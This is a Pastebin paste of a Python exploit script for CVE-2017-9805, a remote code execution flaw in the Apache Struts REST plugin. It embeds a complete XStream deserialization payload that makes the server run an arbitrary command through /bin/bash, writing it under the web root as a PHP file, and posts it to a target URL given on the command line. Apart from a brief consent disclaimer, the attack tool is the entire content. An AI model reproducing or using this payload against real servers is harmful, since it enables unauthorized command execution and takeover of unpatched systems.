Advertisement
Guest User

struts

a guest
Dec 20th, 2017
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.56 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # Disclaimer: This Code is for Legal and Ethical Use on/against information system/s for which the user of this code has express consent by the information system/s owner.
  3. # Exploit Title: Struts 2.5-2.5.12 Struts Rest Plugin XSTREAM RCE
  4. # Date: 12/02/2017
  5. # Exploit Author: Chris Davis
  6. # Vendor Homepage: https://struts.apache.org/
  7. # Software Link: http://mirror.nbtelecom.com.br/apache/struts/2.5.10/struts-2.5.10-all.zip
  8. # Tested Against: Ubuntu 16.04
  9. # CVE: 2017-9805
  10. # License: MIT License
  11. import requests
  12. import argparse
  13. import base64
  14. import sys
  15. import random
  16. import re
  17. from xml.dom import minidom
  18. from xml.dom.minidom import parse, parseString
  19.  
  20. #Lambda function for creating random string
  21. random_string = lambda num: ''.join(random.choice("QWERTYUIOPASDFGHJKLXZCVBNMqwertyuiopasdfghjklzxcvbnm123456789012345678901234567890") for _ in range(num))
  22.  
  23. #iterates over the elements in the template XML object and replaces with desired commands
  24. def get_item_list(itemlist, encoded_command, the_match):
  25.     for item in itemlist:
  26.         for item2 in item.childNodes:
  27.             if item2.nodeValue == the_match:
  28.                 item2.nodeValue = encoded_command
  29.  
  30. #Main function
  31. def main(url, command):
  32.     #XML can be pretty finicky with special characters and escaping. Combine this with command execution with struts and its even more finicky.
  33.     filename = random_string(20)+'.php'
  34.     print('[+] Filename: {}'.format(filename))
  35.     print('[+] Encoding Command')
  36.     #So lets encode our user supplied command in base64 and write it to a string using the below struts vuln command with XML friendly characters.
  37.     #we will save it to a file, execute that file with /bin/bash and then remove the temporary file
  38.     encoded_command = 'echo '+base64.b64encode(command)+' | base64 -d | tee -a /var/www/html/'+filename
  39.     print('[+] Building XML object')
  40.     #Build our initial xml template
  41.     xml_exploit =  parseString('<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command><string>/bin/bash</string><string>-c</string><string>COMMANDWILLGOHERE</string></command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer/><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>')
  42.     #Define some sample headers
  43.     header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36','Content-Type': 'application/xml'}
  44.     #Search for the element that is going to be executed and grab those items
  45.     itemlist = xml_exploit.getElementsByTagName('string')
  46.     #Replace the templated with our base64 encoded command which will be decoded and written to a temporary file
  47.     print('[+] Placing command in XML object')
  48.     get_item_list(itemlist, encoded_command, "COMMANDWILLGOHERE")
  49.     print('[+] Converting Back to String')
  50.     #Convert the XML object back to a string
  51.     exploit = xml_exploit.toxml('utf8')
  52.     print('[+] Making Post Request with our payload')
  53.     #post our exploit XML code to the vulnerable struts server
  54.     request = requests.post(url, data=exploit, headers=header)
  55.     print('[+] Payload executed')
  56.  
  57. if __name__ == "__main__":
  58.     #Checking for proper arguments of url and desired command to execute
  59.     parser = argparse.ArgumentParser()
  60.     parser.add_argument('-u', type=str, help='url of target vulnerable apache struts server. Ex- http://somevulnstrutsserver.com/orders.xhtml', dest='url')
  61.     parser.add_argument('-c', type=str, help='command to execute against the target. Ex - /usr/bin/whoami', dest='command', required=True)
  62.     parser.add_help
  63.     #validate all the arguments were passed
  64.     if len(sys.argv) < 3:
  65.         parser.print_help()
  66.         sys.exit(1)
  67.     args = parser.parse_args()
  68.     #Check to make sure a proper url was sent
  69.     if not bool(re.search(r'^http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+$',args.url.strip(), re.IGNORECASE)):
  70.         print('\n---- Invalid Url ----\n')
  71.         parser.print_help()
  72.         sys.exit(1)
  73.     #just make sure ther is some length to the command
  74.     elif not bool(re.search(r'^.+$',args.command.strip(), re.IGNORECASE)):
  75.         print('\n---- Invalid Command ----\n')
  76.         parser.print_help()
  77.         sys.exit(1)
  78.     main(args.url, args.command)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement